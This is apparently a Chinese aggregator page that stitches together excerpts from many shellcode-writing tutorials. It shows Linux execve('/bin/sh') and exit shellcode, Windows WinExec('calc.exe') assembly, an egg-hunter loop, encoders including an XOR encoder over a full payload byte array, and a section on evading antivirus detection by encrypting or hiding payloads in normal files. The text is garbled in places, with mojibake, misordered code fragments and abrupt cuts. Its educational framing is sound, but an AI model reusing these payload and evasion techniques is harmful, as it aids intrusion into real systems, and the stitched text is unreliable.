Shellcode的原理及编写

合集下载

shellcode入门

那TEB是个什么东西啊？TEB是Thread Environment Block的缩写，他在Win9x系列中被称为TIB（Thread Information Block），她纪录着线程的重要信息，每一个线程对应一个TEB结构。TEB的位置基本上如果不出意外是不会变的，达人告诉我们，她就在fs:0的位置，那么她和PEB有什么关系呢？呵呵，TEB[0x30]就是PEB，也就是我们前面说的fs:[0x30]。后面的路就跟PEB一样了。
利用这个技术，可以用于任何DLL，而不仅限于kernel32.dll。一旦LoadLibraryA被解析出来，你就可以加载你所需要的模块（modules）和也可以解析出你要的API函数。那么前言里说的GetProcAddress函数也就用不到了，是不是很开心呢？？

第二章第二,三节
}
在这里仅列出我们关心的三个成员。
Export Table的设计是为了方便PE装载器工作。首先，模块必须保存所有输出函数的地址，供PE装载器查询。模块将这些信息保存在AddressOfFunctions域所指向的数组中，也就是说，如果模块引出40个函数，则AddressOfFunctions所指向的数组必定有40个元素。如果有的函数是通过名字引出的，那么模块必定也在文件中保留了这些信息，这些文件的相对虚拟地址（RVA）存放在一个数组中，供PE装载器查询。该数组由AddressOfNames指向。OK，现在已经有了名字数组和地址数组，但两者之间还没有联系的纽带，还需要一些联系函数名及其地址的东西。PE参考指出，使用其地址数组的索引作为连接，因此PE装载其在名字数组中找到匹配名字的同时，她也获取指向地址表中对应元素的索引，这些索引保存在AddressOfNameOrdinals域所指向的另一个数组。由于该数组起到联系名字和地址的作用，所以其元素数目必定和名字数组相同。例如，每个名字有且仅有一个相关地址，反过来则不一定：每个地址可以有好几个名字来对应。因此，给同一个地址取“别名”，为了起到连接作用，名字数组和索引数组必须并行成对使用。（哎呀，这里有张图，没办法传上来……怎么回事？？）其实讲到这里，通过EDT来定位API函数的原理，大家应该有个概念了，简单说就是在名字数组中hash我们所需要的API函数名，一旦hash成功，我们也就可以找到其在地址数组中的序号，那么接下来要做的就相当的简单了，把基地址和相对虚拟地址相加，我们就能得到该API函数的虚拟内存地址（VMA）。

shellcode生产原理

shellcode生产原理（实用版）目录一、Shellcode 概述二、Shellcode 的原理三、Shellcode 的编写四、Shellcode 的利用五、Shellcode 的安全防范正文一、Shellcode 概述Shellcode 是指一种用于攻击计算机系统的二进制代码，通常由黑客或病毒作者编写，通过各种途径植入到目标系统中，用于实现对目标系统的控制或获取系统敏感信息等恶意行为。

Shellcode 通常是一段可执行的二进制代码，可以被直接注入到受攻击系统的内存中，从而实现对系统的控制。

二、Shellcode 的原理Shellcode 的原理主要是利用目标系统中的漏洞，通过溢出等方式将Shellcode 注入到系统的内存中，从而实现对系统的控制。

Shellcode 通常会在目标系统中开辟一个新的进程，然后执行自身的代码，以达到控制目标系统的目的。

三、Shellcode 的编写Shellcode 的编写通常需要根据目标系统的架构和漏洞类型来定制，因此，Shellcode 的编写具有一定的技术难度。

一般来说，Shellcode 的编写需要掌握汇编语言和计算机系统架构等相关知识。

四、Shellcode 的利用Shellcode 的利用主要是通过各种途径将 Shellcode 植入到目标系统中，然后通过执行 Shellcode 来实现对目标系统的控制。

Shellcode 的利用方式有很多，例如，通过邮件攻击、网页攻击、漏洞攻击等方式将Shellcode 植入到目标系统中。

五、Shellcode 的安全防范由于 Shellcode 具有很强的攻击性，因此，对于计算机系统来说，防范 Shellcode 的攻击是非常重要的。

二进制入门-打造Linuxshellcode基础篇

⼆进制⼊门-打造Linuxshellcode基础篇0x01 前⾔本⽂的⽬的不是为了介绍如何进⾏恶意的破坏性活动，⽽是为了教会你如何去防御此类破坏性活动，以帮助你扩⼤知识范围，完善⾃⼰的技能，如有读者运⽤本⽂所学技术从事破坏性活动，本⼈概不负责。

0x02 什么是Shellcodeshellcode是⽤作利⽤软件漏洞的有效载荷的⼀⼩段代码，因为它通常启动⼀个命令shell，攻击者可以从中控制受攻击的机器，所以称他为。

但是任何执⾏类似任务的代码都可以称为shellcode。

因为有效载荷的功能不仅限于⼀个shell。

shellcode基本的编写⽅式有以下三种直接编写⼗六进制操作码。

使⽤c语⾔编写程序，然后进⾏编译，最后进⾏反汇编来获取汇编指令和⼗六进制操作码。

编写汇编程序，将该程序汇编，然后从⼆进制中提取⼗六进制操作码。

第⼀种⽅法很极端，直接编写⼗六进制操作码是⼀件⾮常难得事情。

下⾯我将带⼤家⼀步步去编写⾃⼰的shellcode。

0x03 execve系统调⽤在Linux系统上执⾏程序的⽅式有多种，但是其中使⽤最⼴泛的⼀种⽅式就是通过借助execve系统调⽤。

我们⾸先来看看execve的使⽤⽅法。

说明看起来很复杂，其实很简单。

我们先使⽤c语⾔来实现它。

c语⾔实现execve系统调⽤创建shell我们⾸先来新建⼀个⽂件：我们使⽤vim来编写代码：看完上⾯的介绍，使⽤c语⾔来实现就很简单了。

123456789#include <unistd.h> int main(){ char * shell[2];shell[0]="/bin/sh";shell[1]=NULL;execve(shell[0],shell,NULL);}然后我们使⽤gcc 编译器来编译⼀下：运⾏看看：成功执⾏创建⼀个shell 。

转向汇编语⾔前⾯我们已经使⽤c 语⾔来实现了，现在我们就需要⽤汇编语⾔来重写execve 系统调⽤，其实很简单。

shellcode执行原理

shellcode执行原理
Shellcode是一种用于利用计算机系统漏洞的机器码。

它通常是由黑客编写的，用于利用软件漏洞来执行恶意操作。

Shellcode 的执行原理涉及计算机系统的内存管理和指令执行。

首先，当Shellcode被注入到受攻击的程序中时，它会被当作一段可执行代码加载到内存中。

接着，Shellcode会利用漏洞来改变程序的正常执行流程，使其跳转到Shellcode所在的内存地址。

一旦执行到Shellcode，它会利用系统调用或者其他技术来实现恶意操作，比如获取系统权限、下载恶意文件、或者执行其他任意指令。

在执行过程中，Shellcode可能会利用缓冲区溢出、格式化字符串漏洞、或者其他漏洞来实现其恶意目的。

它可能会修改内存中的数据、覆盖函数返回地址、或者利用其他技术来控制程序的执行流程。

总的来说，Shellcode的执行原理涉及利用漏洞改变程序的正常执行流程，使其执行恶意的机器码，从而实现黑客的攻击目的。

为了防范Shellcode的攻击，软件开发者需要注意安全编程实践，
及时修复漏洞，并且用户需要保持系统和软件的及时更新以防止被利用。

4.5shellcode编码

方法二 0xAB=0xA*0x10+0xB
就是把ShellCode的每个字符拆分成两个数的乘积。比如0xAB拆分成0xA和 0xB，恢复时是0xAB=0xA*0x10+0xB。
4.7内存搜索法
主要针对：ShellCode长度有限制的原理：只做一个短的搜索ShellCode的代码，真正的
}
} if(bSuccess) printf("\nSucceess!\n"); return 0;
} if(!bSuccess) //某个字符拆分失败，拆分以失败告终 break;
b = z - a; //否则z 拆分成a+b for( j=0; j<BadLen; j++) //判断a和b是否符合要求 { if(a==BadChar[j] || b==BadChar[j]) //a或b不符合要求 break; } if( j>=BadLen) //a、b都符合要求，打印出来 { printf("\\x%x\\x%x",a,b); break; //当前z拆分成功，拆分下一个 } else ; //a或b不符合要求，j就会<BadLen；就要改变a，继续尝试
总结
ShellCode放在内存的其他地方
__asm { mov ebx, esp //从esp开始搜索 mov eax, 0x77773037; //eax = ww07 inc eax //刚才是ww07，加1变成ww08，免得搜索成自己 loop1: inc ebx cmp [ebx],eax //比较是否是ww08 jne loop1 inc ebx inc ebx inc ebx inc ebx call ebx //找到ww08标志，跳过去执行 }

19字节的shellcode

19字节的shellcode在计算机的世界里，恶意代码如幽灵般潜伏，企图破坏系统并窃取敏感数据。

其中一种臭名昭著的恶意代码形式是shellcode，它旨在向操作系统发出命令，执行攻击者的意图。

19字节大小的shellcode以其精巧和高效而著称，但编写它却是一项艰巨的任务。

编写19字节shellcode的挑战在于，它必须在极小的空间内完成特定任务。

这需要对汇编语言和操作系统内部机制有透彻的理解。

汇编语言是计算机直接理解的底层指令集，而shellcode则是这些指令的序列，旨在实现特定的目的。

对于19字节shellcode，常见的目标之一是打开一个反向shell，允许攻击者远程控制受感染的系统。

要实现这一目标，shellcode通常包含以下步骤：1. 保存寄存器：保存当前寄存器状态，以便以后恢复。

2. 设置系统调用号：将系统调用号（如execve）加载到寄存器中，指示操作系统执行特定操作。

3. 准备参数：将必要的参数（如shell的可执行文件路径）加载到寄存器中。

4. 执行系统调用：触发系统调用，指示操作系统执行指定的动作。

5. 恢复寄存器：恢复先前保存的寄存器状态。

以上步骤必须在19个字节内达成，这需要熟练的汇编语言编程和对底层系统机制的深刻理解。

此外，不同的操作系统和处理器架构需要不同的shellcode变体，这进一步增加了编写的复杂性。

尽管编写19字节shellcode是一项艰巨的任务，但它也是一项令人着迷的挑战，考验着程序员的技能和对计算机系统的理解。

通过掌握汇编语言和操作系统内部机制，安全研究人员和恶意软件分析师可以破解shellcode的奥秘，加深对恶意代码行为的理解，并制定更有效的防御措施。

shellcode的生成流程

shellcode的生成流程Shellcode generation is a crucial aspect of cybersecurity and offensive security as it involves creating executable code that can be injected into a target system to carry out various tasks. The process of generating shellcode can be complex and requires a deep understanding of computer architecture, assembly language, and exploit development techniques. This code is typically designed to exploit vulnerabilities in software or systems to gain unauthorized access or control.创建Shellcode 是网络安全和进攻性安全领域的重要组成部分，它涉及创建可执行代码，可以注入到目标系统中以执行各种任务。

生成Shellcode 的过程可能复杂，并需要对计算机架构、汇编语言和利用程序开发技术有深刻的理解。

这段代码通常设计用于利用软件或系统中的漏洞，以获取未经授权的访问或控制。

One of the first steps in generating shellcode is identifying the vulnerability or exploit that will be targeted. This could involve reverse engineering a piece of software, analyzing network traffic, or examining a system for potential weaknesses. Once a vulnerability isidentified, the next step is to develop an exploit that can be used to take advantage of it. This exploit will typically involve crafting a payload that will be injected into the target system to execute the desired actions.生成Shellcode 的第一步之一是确定将要针对的漏洞或利用程序。

如何编写一个shellcode

shellcode的编写就是将函数或变量在内存中的间接地址改为函数或变量在内存中的直接地址直接调用
如何编写一个 shellcode
ShellCode的编写就是将函数或变量在内存中的间接地址改为函数或变量在内存中的直接地址，直接调用！以MessageBox函数为例进行讲解如下新建shellcode.cpp：
编写代码如下：运行结果：将VC代码转换成汇编指令：
内存数据图：函数的真实地址找到之后，修改代码如下：将以上汇编指令转换成二进制数据：内存数据图：将0x0040103C~0x00401049之间的二进制数据复制出来如下： 6A 00 6A 00 6A 00 6A 00 B8 1E FD 0B 75 FF D0 最终shellcode代码：
运行结果：
ቤተ መጻሕፍቲ ባይዱ

shell code免杀思路

shell code免杀思路摘要：一、shell code简介二、shell code免杀方法1.修改Shellcode内存地址2.修改Shellcode长度3.加密Shellcode4.隐藏Shellcode三、实战案例四、总结与建议正文：一、shell code简介Shellcode，即漏洞利用代码，是在操作系统或应用程序中利用漏洞执行的一段恶意代码。

它通常用于渗透测试和恶意软件攻击中。

由于安全软件对恶意文件的检测和拦截能力越来越强，因此对shell code进行免杀处理变得尤为重要。

二、shell code免杀方法1.修改Shellcode内存地址将Shellcode注入到内存中某个地址，然后修改返回地址，使其指向Shellcode。

这样可以绕过安全软件对固定内存地址的检测。

2.修改Shellcode长度根据目标系统和服务器环境，修改Shellcode的长度，以避免安全软件通过检测字节数来识别恶意文件。

3.加密Shellcode使用加密算法对Shellcode进行加密，可以降低其在磁盘上的特征。

需要注意的是，加密和解密过程要在内存中进行，以避免在磁盘上留下明文痕迹。

4.隐藏Shellcode将Shellcode嵌入到正常文件中，如图片、文本等，以降低其被安全软件检测的概率。

在进行嵌入时，可以选择使用一些技巧，如文件分片、替换字符等。

三、实战案例以下是一个简单的实战案例：假设我们要利用一个存在缓冲区溢出的漏洞，可以将以下Shellcode编写为：```mov eax, 1 ; 系统调用号：1（exit）xor ebx, ebx ; 初始化寄存器int 0x80 ; 执行系统调用```然后对Shellcode进行加密、修改内存地址和长度等操作，最后将加密后的Shellcode注入到目标系统中。

四、总结与建议虽然shell code免杀技术在一定程度上可以降低恶意文件被检测的概率，但随着安全技术的发展，免杀技术也面临着越来越多的挑战。

远控shellcode上线原理

远控shellcode上线原理远控shellcode上线原理主要基于计算机程序的图灵完整性。

shellcode是一种特殊的二进制流，能够劫持控制流并重写控制结构，改变程序运行状态。

它可以在计算机程序的暂存器EIP溢出后，通过塞入一段可让CPU执行的shellcode机器码，让电脑执行攻击者的任意指令。

Shellcode一般是一段汇编代码，不依赖任何编译环境，也不能像编写代码一样调用API函数名称来实现功能。

它通过主动查找DLL基址并动态获取API地址的方式来实现API调用。

在shellcode中，存在两个模块：基本模块和功能模块。

基本模块用于实现shellcode初始运行、获取kernel32基址和获取API地址的过程。

Shellcode的上线原理主要基于计算机系统的漏洞利用。

攻击者利用漏洞在目标系统上执行恶意代码，将shellcode注入到目标系统中，并通过控制返回地址来执行任意代码。

在Windows操作系统中，可以通过精心构造shellcode，使其在任意地址执行，从而达到控制目标系统的目的。

Shellcode按照放置的位置可以分为三种：用户态shellcode、内核态shellcode或者二者混合。

用户态shellcode是指在用户模式下运行的shellcode，而内核态shellcode是指在内核模式下运行的shellcode。

在实际攻击中，攻击者会根据目标系统的具体情况选择合适的shellcode类型和攻击方式。

总之，远控shellcode上线原理是基于计算机程序的图灵完整性和漏洞利用，通过注入和执行shellcode来达到控制目标系统的目的。

了解shellcode的原理和特点对于防范和应对计算机攻击具有重要意义。

shellcode之三：shellcode编写-电脑资料

shellcode之三：shellcode编写-电脑资料声明：主要内容来自《The Shellcoder's Handbook》，摘录重点作为笔记并加上个人的一些理解，如有错，请务必指出，。

系统调用Shellcode是一组可注入的指令，可在被攻击的程序内运行。

由于shellcode要直接操作寄存器，通常用汇编语言编写并翻译成十六进制操作码。

我们想让目标程序以不同与设计折预期的方式运行，操纵程序的方法之一是强制它产生系统调用。

在Linux里有两种方法来执行系统调用。

间接的方法是libc，直接的方法是用汇编指令调用软中断执行系统调用。

在Linux里，程序通过int 0x80软中断来执行系统调用，调用过程如下：1、把系统调用编号载入EAX；2、把系统调用的参数压入其他寄存器；最多支持6个参数，分别保存在EBX、ECX、EDX、ESI、EDI和EBP里；3、执行int 0x80指令；4、CPU切换到内核模式；5、执行系统函数。

如何得到一个shellcode注意两点：1、shellcode应该尽量紧凑，这样才能注入更小的缓冲区；2、shellcode应该是可注入的；当攻击时，最有可能用来保存shellcode的内存区域是为了保存用户的输入而开辟的字符数组缓冲区。

因此shellcode不应包含空值（/x00），在字符数组里，空值是用来终止字符串的，空值的存在使得把shellcode复制到缓冲区时会出现异常。

下面以exit()系统调用为例写一个shellcode。

exit()的系统编号为1。

用汇编指令实现Section .textglobal _start_start:mov ebx,0mov eax,1int 0x80用nasm编译生成目标文件，然后用GNU链接器链接目标文件，最后用objdump显示相应的操作码（下图的标号为_start部分）sep@debian66:~/shellcode$ nasm -f elf shellcode.asmsep@debian66:~/shellcode$ ld -o shellcode shellcode.osep@debian66:~/shellcode$ objdump -d shellcodeshellcode: file format elf32-i386Disassembly of section .text:08048080 <_start>:8048080: bb 00 00 00 00 mov $0x0,%ebx8048085: b8 01 00 00 00 mov $0x1,%eax804808a: cd 80 int $0x80sep@debian66:~/shellcode$shellcode[] = {"/xbb/x00/x00/x00/x00/xb8/x01/x00/x00/x00/xcd/x80"}，可以发现里面出现很多空值，基于shellcode的可注入性，我们需要找出把空值转换成非空操作码的方法，电脑资料《shellcode之三：shellcode编写》(https://www.)。

编写shellcode的全过程

编写shellcode的全过程1、很简单的一段代码，功能就是打开Windows自带的计算器程序。

而我要实现的shellcode的功能就是这个。

1.#include <windows.h>2.3.int main()4.{5.LoadLibraryA("kernel32.dll");6.7.WinExec("calc.exe", SW_SHOW);8.9.return 0;10.}2、将WinExec("calc.exe", SW_SHOW);改成汇编后的样子。

1.#include <windows.h>2.3.int main()4.{5.char str[]="calc.exe";6.char* p = str;7.8.LoadLibraryA("kernel32.dll");9.10.__asm11.{12.push 0;13.14.mov eax,p;15.push eax;16.17.mov eax,0x7c86250d; //WinExec的地址18.call eax;19.}20.21.return 0;22.}3、在堆栈中构造字符串，经典！这招是我在书上学来的，并非本人原创 -_-。

1./*2.* Author: Leng_que3.* Date: 2009年10月12日11:02:404.*E-mail:******************.cn5.* Description: 一段通过WinExec运行calc.exe的shellcode 雏形I6.* Comment: 在WindowsXP SP3 + VC6.0环境下调试通过7.*/8.9.#include <windows.h>10.11.int main()12.{13.//因为WinExec这个API函数在kernel32.dll这个动态链接库里，所以要先加载它14.LoadLibraryA("kernel32.dll");15.16.__asm17.{18.push ebp;19.mov ebp,esp;20.21.//在堆栈中构造字符串：calc.exe22.xor eax,eax;23.push eax;24.25.sub esp,08h;26.mov byte ptr [ebp-0ch],63h;27.mov byte ptr [ebp-0bh],61h;28.mov byte ptr [ebp-0ah],6Ch;29.mov byte ptr [ebp-09h],63h;30.31.mov byte ptr [ebp-08h],2Eh;32.mov byte ptr [ebp-07h],65h;33.mov byte ptr [ebp-06h],78h;34.mov byte ptr [ebp-05h],65h;35.36.//执行WinExec，启动计算器程序37.push 0;38.39.lea eax,[ebp-0ch];40.push eax;41.42.mov eax,0x7c86250d; //WinExec的地址43.call eax;44.45.//平衡堆栈46.mov esp,ebp;47.pop ebp;48.}49.50.return 0;51.}4、具有shellcode特点的汇编代码完成了！值得一提：在这一步我这么也得不到LoadLibrary（在原来的代码中我是写这个的）的地址，于是只好先去吃饭，在来回饭堂的校道上，我突然想到了，原来自己一时忘记，于是犯了一个低级错误，其中在Kernel32.dll里是没有LoadLibrary这个函数的，只有LoadLibraryA 和LoadLibraryW，它们的区别在于传入的参数是ANSI编码的还是Unicode编码的，但是为什么我们在平时的编程中写LoadLibrary又可以正常运行呢？那是因为其实这个LoadLibrary只是一个宏而已啦，在VC6.0下选中这个LoadLibrary函数（当然，应该叫宏更准确些），然后右键->"Go To Definition"一下就知道了。

Window中的shellcode编写框架（入门篇）

Window中的shellcode编写框架（⼊门篇）Shellcode定义是⼀段可注⼊的指令（opcode），可以在被攻击的程序内运⾏。

特点短⼩精悍，灵活多变，独⽴存在，⽆需任何⽂件格式的包装，因为shellcode直接操作寄存器和函数，所以opcode必须是16进制形式。

因此也不能⽤⾼级语⾔编写shellcode。

在内存中运⾏，⽆需运⾏在固定的宿主进程上。

Shellcode的利⽤原理将shellcode注⼊缓冲区，然后欺骗⽬标程序执⾏它。

⽽将shellcode注⼊缓冲区最常⽤的⽅法是利⽤⽬标系统上的缓冲区溢出漏洞。

Shellcode⽣成⽅法编程语⾔编写：汇编语⾔，C语⾔shellcode⽣成器Shellcode编写原则杜绝双引号字符串的直接使⽤关闭VS⾃动优化没有使⽤到的变量⾃定义函数⼊⼝动态获取函数的地址 GetProAddress 从dll中获取函数的地址参数1：调⽤dll的句柄，参数2：函数名 Bug：error C2760: 语法错误: 意外的令牌“标识符”，预期的令牌为“类型说明符” 打开项⽬⼯程-> 属性 -> c/c++ --> 语⾔ -> 符合模式修改成否即可如果这样设置将⽆法使⽤c函数。

这个⽐较关键，否则使⽤printf就直接崩溃或者是编译报错最佳⽅案是：修改平台⼯具集通过获得Kernel32基址来获取GetProcAddres基址避免全局变量的使⽤因为vs会将全局变量编译在其他区段中结果就是⼀个绝对的地址不能使⽤static定义变量（变量放到内部函数使⽤）确保已加载使⽤API的动态链接库编写shellcode前的准备修改程序⼊⼝点:链接器-⾼级。

作⽤：去除⾃动⽣成的多余的exe代码关闭缓冲区安全检查，属性->C/C++ ->代码⽣成->安全检查禁⽤设置⼯程兼容window XP :代码⽣成 ->运⾏库选择 debug MTD release MT清除资源:链接器->调试->清单⽂件关闭调试功能如下：属性->常规->平台⼯具集选择xp版本C/C++->代码⽣成->运⾏库选择MT安全检查禁⽤链接器->⾼级->⼊⼝点修改为EntryMain函数动态链接调⽤在编写shellcode时，所有⽤到的函数都需要动态调⽤，通过LoadLibrary函数加载动态链接库，GetProAddress获取动态链接库中函数的地址。

pwn shellcode方法

pwn shellcode方法pwn shellcode方法是一种利用漏洞来执行自定义代码的技术，通常用于渗透测试和漏洞利用中。

在pwn中，shellcode是一段用于利用漏洞的二进制代码，通常用于获取系统权限或执行任意命令。

下面是一些常见的pwn shellcode方法：1. 编写Shellcode：编写Shellcode是pwn shellcode方法的第一步。

Shellcode通常是一段精简的汇编代码，用于实现特定功能，比如获取shell权限、执行系统命令等。

编写Shellcode需要熟悉汇编语言和对目标系统的理解。

2. 注入Shellcode：一旦编写好Shellcode，就需要将其注入到目标程序中。

通常通过溢出漏洞或其他漏洞来实现Shellcode注入。

注入Shellcode需要对目标程序的内存结构有一定的了解，以确保Shellcode能够被正确执行。

3. 执行Shellcode：一旦Shellcode成功注入到目标程序中，就可以通过触发漏洞来执行Shellcode。

通常会利用栈溢出、堆溢出等漏洞来实现Shellcode的执行。

执行Shellcode可以实现获取系统权限、执行任意命令等功能。

4. Shellcode编码：有时候目标程序会对Shellcode进行过滤或检测，需要对Shellcode进行编码来绕过检测。

常见的编码方法包括Base64编码、逆向Shellcode 等。

编码Shellcode可以增加Shellcode的兼容性和安全性。

5. Shellcode调试：在编写和执行Shellcode过程中，常常需要对Shellcode进行调试和测试，以确保Shellcode的正确性和稳定性。

可以使用调试器如gdb来对Shellcode进行调试，查看Shellcode执行过程中的内存状态和寄存器值。

总的来说，pwn shellcode方法是一种高级的漏洞利用技术，需要对漏洞利用、汇编语言和目标系统有深入的了解。

ShellCode编写

变换一下
#include <windows.h> #include <winbase.h> typedef void (*MYPROC)(LPTSTR); //定义函数指针 int main() { HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary("msvcrt.dll"); ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); //查找system函数地址 (ProcAdd) (""); //其实就是执行 system("") return 0; }
2.4 使用汇编生成ShellCode
先看看如何把system(“cmd.exe”)写成汇编思路：
将“cmd.exe”压栈，将“cmd.exe”地址压栈 Call system函数地址
注意:
Push是四个字节对齐的，因此必须每次压栈ቤተ መጻሕፍቲ ባይዱ 个字节或者一个字节一个字节赋值
ShellCode编写
内容
1. 2. 3. 4. 5. 什么是ShellCode？编写ShellCode 通用ShellCode的编写后门ShellCode的编写 ShellCode编码
1. 什么是ShellCode？
ShellCode就是一段能够完成一定功能(比如打开一个命令窗口)、可直接由计算机执行的机器代码，通常以十六进制的形式存在。
;依次找每个函数名称 ;'PteG' ;'Acor'
;ebx = 索引号地址,AddressOf ;ecx = 计算出的索引号值 ;ebx ＝函数地址的起始位 ;利用索引值，计算出GetProcAddress的地址

Shellcode

Shellcode整理下Shellcode相关先看下⽹上的定义：Shellcode实际是⼀段代码（也可以是填充数据），是⽤来发送到服务器利⽤特定漏洞的代码，⼀般可以获取权限。

另外，Shellcode⼀般是作为数据发送给受攻击服务器的。

Shellcode是溢出程序和蠕⾍病毒的核⼼，提到它⾃然就会和漏洞联想在⼀起，毕竟Shellcode只对没有打补丁的主机有⽤武之地。

⽹络上数以万计带着漏洞顽强运⾏着的服务器给hacker和Vxer丰盛的晚餐。

漏洞利⽤中最关键的是Shellcode的编写。

由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode，因此掌握Shellcode编写技术就显得尤为重要。

接下来分析下原理：⾸先如果我们⽤C++定义⼀个函数，反汇编通常会这样：push ebpmov ebp ,esp.........mov esp,ebppop ebp⾸先push ebp存储ebp，然后⽤寄存器ebp存储esp，esp是当前堆栈指针。

如果我们此时在函数⾥定义了相关局部变量，那么esp就会做减法，⽐如之前是A,那么esp现在就是A-Size，这个Size的⼤⼩就是局部变量⼤⼩，然后区间[A-size，A]就是⽤来存储新变量的。

当函数退出的时候，就执⾏相反操作，还原esp，然后再还原ebp，之后会继续从栈⾥⾯取出来⼀个值，直接通过这个值跳转到函数退出的位置。

1.定义⼀个空的main函数对应反汇编如下2.继续定义⼀个简单函数：反汇编代码如下：3.定义变量的函数反汇编代码：基本是满⾜上⾯说的那个的，但是仔细观察会发现⼏个问题，⾸先例⼦2没有mov esp,ebp是因为本⾝esp没有变化，也就是没有在函数⾥⾯开变量，然后是在 pop ebp之后⼜多出来⼀个ret但是没有pop aa ,jump aa。

这个地⽅我是这么理解的： return 等价于 pop ebp , retret 等价于 pop A ,jump A这样就能理解了。

LinuxShellCode-电脑资料

LinuxShellCode-电脑资料说明本文首发于shudoo现在我把它改改让小菜看的更明白 0一、什么是ShellCode让我们从一个经典的故事开始ShellCode之旅话说某天某爱国编译了一个Nday溢出利用程序来攻击CNN，输入IP并且enter之后发现目标服务器没有反应，于是拿出sniffer抓包分析...“Oh ,my dog!居然没有带shellcode！”为什么 shellcode对于一个exploit来说这么重要呢？Shellcode到底是什么东西呢？简单的说，Shellcode是一段能够完成某种特定功能的二进制代码，。

具体完成什么任务是由攻击者决定的，可能是开启一个新的shell或者下载某个特定的程序也或者向攻击者返回一个shell等等。

Shellcode是溢出程序和蠕虫病毒的核心，提到它自然就会和漏洞联想在一起，毕竟Shellcode只对没有打补丁的主机有用武之地。

网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。

漏洞利用中最关键的是Shellcode的编写。

由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode，因此掌握Shellcode编写技术就显得尤为重要。

因为shellcode将会直接操作寄存器和一些系统调用，所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译，反汇编从而得到16进制的操作码，当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。

接下来就一起来解开shellcode的神秘面纱吧～二、Shellcode编写考虑因素Shellcode一般作为数据发送给服务端造成溢出，不同数据对数据要求不同，因此，Shellcode也不一定相同。

但Shellcode在编写过程中，有些问题是一致的：1.Shellcode的编写语言用什么语言编写最适合Shellcode呢？这个问题没有定论。

Shellcode本质上可以使用任何编程语言，但我们需要的是提取其中的机器码。

Linux下shellcode的编写

0x01 理解系统调用shellcode是一组可注入的指令，可以在被攻击的程序中运行。

由于shellcode要直接操作寄存器和函数，所以必须是十六进制的形式。

那么为什么要写shellcode呢？因为我们要让目标程序以不同于设计者预期的方式运行，而操作的程序的方法之一就是强制它产生系统调用（system,call,syscall)。

通过系统调用，你可以直接访问系统内核。

在Linux里有两个方法来执行系统调用，间接的方法是c函数包装（libc），直接的方法是用汇编指令（通过把适当的参数加载到寄存器，然后调用int 0x80软中断）废话不多说，我们先来看看最常见的系统调用exit()，就是终止当前进程。

(注：本文测试系统是ubuntu-17.04 x86）main(){exit(0);}（编译时使用static选项，防止使用动态链接，在程序里保留exit系统调用代码）gcc -static -o exit exit.c用gdb反汇编生成的二进制文件：_exit+0行是把系统调用的参数加载到ebx。

_exit+4和_exit+15行是把对应的系统调用编号分别被复制到eax。

最后的int 0x80指令把cpu切换到内核模式，并执行我们的系统调用。

0x02 为exit()系统调用写shellcode在基本了解了一下exit()系统调用后，就可以开始写shellcode了~要注意的是我们的shellcode应该尽量地简洁紧凑，这样才能注入更小的缓冲区（当你遇到n字节长的缓冲区时，你不仅要把整个shellcode复制到缓冲区，还要加上调用shellcode的指令，所以shellcode必须比n小）。

在实际环境中，shellcode将在没有其他指令为它设置参数的情况下执行，所以我们必须自己设置参数。

这里我们先通过将0放入ebx中的方法来设置参数。

步骤大概是：把0存到ebx把1存到eax执行int 0x80指令来产生系统调用根据这三个步骤来写汇编指令：Section .textglobal _start_start:mov ebx, 0mov ax, 1int 0x80然后用nasm编译，生成目标文件，再用gun ld来连接：nasm -f elf32 exit_shellcode.asmld -i exit_shellcode exit_shellcode.o然后objdump就能显示相应的opcode了:看起来好像是成功了。

shellcode编码技术

shellcode编码技术在很多漏洞利⽤场景中， shellcode 的内容将会受到限制。

例如你不能输⼊ \x00 这个字符,编辑框不能输⼊ \x0d \x0a这样的字符所以需要完成 shellcode 的逻辑，然后使⽤编码技术对 shellcode 进⾏编码，使其内容达到限制的要求，最后再精⼼构造⼗⼏个字节的解码程序，放在 shellcode 开始执⾏的地⽅。

当 exploit 成功时， shellcode 顶端的解码程序⾸先运⾏，它会在内存中将真正的 shellcode还原成原来的样⼦，然后执⾏。

这种对 shellcode 编码的⽅法和软件加壳的原理⾮常类似。

这样，我们只需要专注于⼏条解码指令，使其符合限制条件就⾏，相对于直接关注于整段shellcode 来说使问题简化了很多。

由上⼀篇⽂章提取出来的机器码,进⾏最简单的加密,异或⽬标:还是我第⼀篇⽂章中共享的dig.exe含漏洞的程序功能为弹出对话框,然后退出程序#include<stdlib.h>#include<string.h>void encoder(char* input, unsigned char key){int i = 0, len = 0;FILE * fp;len = strlen(input);unsigned char * output = (unsigned char *)malloc(len + 1);for (i = 0; i<len; i++)output[i] = input[i] ^ key;fp = fopen("encode.txt", "w+");fprintf(fp, "\"");for (i = 0; i<len; i++){fprintf(fp, "\\x%0.2x", output[i]);if ((i + 1) % 16 == 0)fprintf(fp, "\"\n\"");}fprintf(fp, "\"");fclose(fp);printf("dump the encoded shellcode to encode.txt OK!\n");free(output);}int _tmain(int argc, _TCHAR* argv[]){char sc[] ="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90";encoder(sc, 0x51);getchar();return 0;}注意: 